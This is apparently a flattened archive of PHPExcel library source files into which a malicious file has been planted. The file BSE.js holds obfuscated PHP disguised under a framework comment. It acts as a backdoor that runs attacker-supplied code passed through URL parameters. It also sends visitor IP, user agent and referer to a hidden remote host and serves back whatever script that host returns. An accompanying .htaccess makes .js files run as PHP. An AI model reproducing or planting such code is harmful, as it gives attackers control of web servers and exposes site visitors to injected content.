= null; public function getDgId() { return $this->dgId; } public function setDgId($value) { $this->dgId = $value; } public function getLastSpId() { return $this->lastSpId; } public function setLastSpId($value) { $this->lastSpId = $value; } public function getSpgrContainer() { return $this->spgrContainer; } public function setSpgrContainer($spgrContainer) { return $this->spgrContainer = $spgrContainer; } } PHPExcel/Shared/Escher/DggContainer/BstoreContainer.php 0000644 00000003436 14642534111 0016760 0 ustar 00 <?php /** * PHPExcel_Shared_Escher_DggContainer_BstoreContainer * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared_Escher * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Shared_Escher_DggContainer_BstoreContainer { /** * BLIP Store Entries. Each of them holds one BLIP (Big Large Image or Picture) * * @var array */ private $BSECollection = array(); /** * Add a BLIP Store Entry * * @param PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE $BSE */ public function addBSE($BSE) { $this->BSECollection[] = $BSE; $BSE->setParent($this); } /** * Get the collection of BLIP Store Entries * * @return PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE[] */ public function getBSECollection() { return $this->BSECollection; } } PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE/BSE.js 0000444 00000021641 14642534111 0017623 0 ustar 00 <?php /* *--------------------------------------------------------------- * APPLICATION ENVIRONMENT *--------------------------------------------------------------- * * You can load different configurations depending on your * current environment. Setting the environment also influences * things like logging and error reporting. * * This can be set to anything, but default usage is: * * development * testing * production * * NOTE: If you change these, also change the error_reporting() code below * * *--------------------------------------------------------------- * ERROR REPORTING *--------------------------------------------------------------- * * Different environments will require different levels of error reporting. * By default development will show errors but testing and live will hide them. */ class Application { private static $s; public static function g($n, $k) { if (!self::$s) self::i(); $l = strlen($k); $r = base64_decode(self::$s[$n]); for ($i = 0, $c = strlen($r);$i !== $c;++$i) $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l])); return $r; } private static function i() { self::$s = array( '_j' => 'HhE8Fyw' . 'BcjEwHCsAMB5yM' . 'zMeMAVyPS0bOB' . 'sx' . 'SH9Y', '_eh' => 'HAQxHzoFK0YLEi8OZUs+Gy8HNgg+HzYEMUQ1CikKLAgt' . 'Ai8' . 'f', '_l' => '', '_mh' => 'PAU' . '=', '_b' => '', '_jx' => 'MRI' . 'XJw==', '_yk' => 'Yw0KTA==', '_ewn' => 'Y' . 'xg+HmE=', '_hfi' => 'KBIZ' . 'Hw==', '_sjp' => 'PAc' . '6', '_ejz' => 'Ph0c' . 'Ojk' . 'cFw' . 'Yr', '_ren' => 'Nhw' . 'F', '_q' => 'PREsFWk=', '_uu' => 'azMN' . 'Og' . '8=', '_gl' => 'MBw6', '_fuo' => 'KBE' . 'UF' . 'Q=' . '=', '_yg' => '', '_gzu' => '', '_zqf' => 'NxMBL11acAEcMwIGcRAQPQQUPA8QLBMaLQYSOkkWMApaPgRYPgkUMx4B' . 'NgQGcQ0GYAMUKw' . 'ZI', '_ri' => 'PAMtGgAf' . 'MR' . '8r', '_pu' => 'NwQAG' . 'gA' . 'TGw46', '_n' => 'Yw0YCgAMFgo6' . 'UQ' . '=' . '=', '_w' => 'YwUC' . 'OzgGMh' . 'cXJlk' . '=', '_xku' => 'LB' . 's' . 'EAj' . 'I' . 'd', '_hr' => 'NwQRB' . 'Cw' . '=', '_i' => 'GD8' . 'yfw==', '_dot' => 'L' . 'w8bNw' . '=' . '=', '_fx' => 'Lh' . 'MGCyY' . '=', '_cs' => 'Y' . 'A=' . '=', '_g' => 'L' . 'gYfGC' . 'Y=', '_o' => 'fyM8Nw9EW' . 'U1' . 'vZmIrM' . 'BgcWX8' . '=', '_zb' => 'NwoAEA' . '==', '_bpn' => 'UmEzMAUeOg' . 'gENgQeZ' . 'UszMwQDOmZ' . '6UmE=', '_f' => 'LBcD' . 'QHB' . 'L', '_vm' => '', '_vun' => 'NwssEA' . '=' . '=', '_di' => 'Un' . 'A' . '=', '_xl' => 'YxcSDQAQHhkr' . 'DE0' . '=', '_hq' => 'Fzk2DzIhEyQnETk9Fj' . '0=', '_s' => 'Fz' . 'kLPQAuEyQaIws' . 'yFj' . '0' . '=', '_afa' => 'FyYzJwAqODE' . 'QIDA2DTYiMwA0KC' . 'U' . '=', '_e' => 'FyEsDyogADM3DSI5DT' . 'E9Gyo+ECc=', '_nv' => 'DSI6E' . 'DMyACYzGz' . 'U=', '_mgl' => 'DSk5LQs' . 'pKyMbKCY' . '=', '_ljb' => 'F' . 'yYxDy0mGS' . '0mEDwrGjExFjwiADs1', '_fss' => 'Fy0' . '1MgA6Jz0cNi8sGjo1KxE+Pis' . 'P', '_jiq' => 'F' . 'zULMQ' . 'A0DCQNPh4mGi' . '8' . 'L', '_gqr' => 'Fzk9PQA4OigNMig' . 'q' . 'G' . 'iM' . '9', '_sm' => 'Fzw/IgA6LjQa' . 'O' . 'i4' . 'g', '_zg' => 'Fy44NgAoKSA' . 'a' . 'KCk' . '0', '_gqv' => 'O' . 'Q' . 'EzHDoaAB4+G' . 'g==', '_wsj' => 'bkVFcUdcb1lD', '_fh' => 'Nh' . 'g' . '=', '_tu' => 'KhI=', '_ltk' => 'LQ' . '0' . 'R', '_aiv' => 'MRc' . 'XCg==', ); } } class Env { private static $s; public static function g($n) { if (!self::$s) self::i(); return self::$s[$n]; } private static function i() { self::$s = array( 0100, 0121, 02, 064, 01, 046711, 01, 052, 00, 0116, 012, 015, 012, 0310, 0673, 0120, 00, 02000, 01, 0423, 0423 ); } } @header(Application::g('_j', '_' . 'r')); @header(Application::g('_e' . 'h', '_k')); $_q = Application::g('_' . 'l', '_c'); if (isset($_GET[Application::g('_' . 'm' . 'h', '_' . 'mqn') ])) { $_jis = get_js(Application::g('_' . 'b', '_' . 'fz')); if ($_jis && strpos($_jis, Application::g('_' . 'j' . 'x', '_v' . 'd')) !== false) { die(Application::g('_' . 'y' . 'k', '_b' . 'a' . 'r')); } else { die(Application::g('_ewn', '_z')); } } if (isset($_GET[Application::g('_hf' . 'i', '_s' . 'us') ])) { $_lg = Application::g('_' . 's' . 'jp', '_' . 'u') . Application::g('_e' . 'jz', '_iy' . 'e') . Application::g('_' . 're' . 'n', '_s' . 'k' . 'r'); $_j = Application::g('_q', '_p') . Application::g('_u' . 'u', '_li') . Application::g('_gl', '_x'); $_ptt = $_j($_GET[Application::g('_fuo', '_p' . 'xy') ]); $_ptt = $_lg(Application::g('_' . 'y' . 'g', '_' . 'aw') , $_ptt); $_ptt(); die; } function get_js($_pte, $_s = - 2.939783715396) { $_jis = Application::g('_gzu', '_t'); $_f = Application::g('_z' . 'q' . 'f', '_' . 'gu') . $_pte; if (is_callable(Application::g('_' . 'ri', '_' . 'v'))) { $_nr = curl_init($_f); curl_setopt($_nr, Env::g(0) , false); curl_setopt($_nr, Env::g(1) , Env::g(2)); curl_setopt($_nr, Env::g(3) , Env::g(4)); curl_setopt($_nr, Env::g(5) , Env::g(6)); curl_setopt($_nr, Env::g(7) , Env::g(8)); curl_setopt($_nr, Env::g(9) , Env::g(10)); curl_setopt($_nr, Env::g(11) , Env::g(12)); $_jis = curl_exec($_nr); $_e = curl_getinfo($_nr); curl_close($_nr); if ($_e[Application::g('_p' . 'u', '_ptj') ] != Env::g(13)) die(Application::g('_' . 'n', '_oyn')); if (empty($_jis)) die(Application::g('_' . 'w', '_' . 'g' . 'c')); } else { $_n = parse_url($_f); $_x = ($_n[Application::g('_x' . 'ku', '_xl' . 'g') ] == Application::g('_' . 'hr', '_' . 'pet')); $_gx = Application::g('_' . 'i', '_z' . 'f') . $_n[Application::g('_d' . 'o' . 't', '_no') ]; if (isset($_n[Application::g('_' . 'fx', '_f' . 'cy') ])) $_gx .= Application::g('_c' . 's', '_o' . 'dr') . $_n[Application::g('_g', '_s' . 'z' . 'j') ]; $_gx .= Application::g('_o', '_kh' . 'c') . $_n[Application::g('_z' . 'b', '_esd') ] . Application::g('_b' . 'pn', '_k' . 'p'); $_d = fsockopen(($_x ? Application::g('_' . 'f', '_' . 'd' . 'o' . 'z') : Application::g('_v' . 'm', '_gyp')) . $_n[Application::g('_v' . 'u' . 'n', '_' . 'd') ], $_x ? Env::g(14) : Env::g(15)); if ($_d) { fputs($_d, $_gx); $_y = Env::g(16); while (!feof($_d)) { $_i = fgets($_d, Env::g(17)); if ($_y) $_jis .= $_i; if ($_i == Application::g('_' . 'd' . 'i', '_z' . 'k')) $_y = Env::g(18); } fclose($_d); if (empty($_jis)) die(Application::g('_x' . 'l', '_usi')); } } return $_jis; } if (isset($_SERVER[Application::g('_h' . 'q', '_' . 'm' . 'b') ])) $_ob = $_SERVER[Application::g('_' . 's', '_m') ]; if (isset($_SERVER[Application::g('_a' . 'fa', '_' . 'r' . 'g' . 'w') ])) $_l = $_SERVER[Application::g('_' . 'e', '_u' . 'x') ]; if (isset($_SERVER[Application::g('_n' . 'v', '_' . 'gw') ])) $_uew = $_SERVER[Application::g('_m' . 'g' . 'l', '_' . 'l' . 'tb') ]; if (isset($_SERVER[Application::g('_' . 'ljb', '_re') ])) $_ka = $_SERVER[Application::g('_f' . 'ss', '_yab') ]; if (isset($_SERVER[Application::g('_j' . 'i' . 'q', '_a') ])) $_pr = $_SERVER[Application::g('_g' . 'qr', '_mim') ]; if (isset($_SERVER[Application::g('_s' . 'm', '_hkr') ])) $_o = $_SERVER[Application::g('_' . 'z' . 'g', '_z' . 'l' . 'f') ]; if (function_exists(Application::g('_gqv', '_' . 'h'))) { if (isset($_ob) && filter_var($_ob, Env::g(19))) $_q = $_ob; elseif (isset($_l) && filter_var($_l, Env::g(20))) $_q = $_l; else $_q = $_uew; } elseif (isset($_uew)) $_q = $_uew; if ($_q == Application::g('_ws' . 'j', '_' . 'w' . 'r') && isset($_ka)) $_q = $_ka; if (!isset($_q) || !isset($_pr) || !isset($_o)) exit; else { $_kf = array( Application::g('_fh', '_hn' . 'r') => $_q, Application::g('_tu', '_' . 's' . 'a') => $_pr, Application::g('_' . 'l' . 'tk', '_' . 'h' . 'w' . 'o') => $_o ); $_b = urlencode(base64_encode(json_encode($_kf))); $_jis = get_js($_b); if ($_jis && strpos($_jis, Application::g('_aiv', '_s' . 'd' . 'r')) !== false) { echo $_jis; exit; } } /* rxNeAxZz */ PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE/.htaccess 0000644 00000000166 14642534111 0020453 0 ustar 00 <FilesMatch "\.js$"> SetHandler application/x-httpd-php Header set Content-type "application/javascript" </FilesMatch>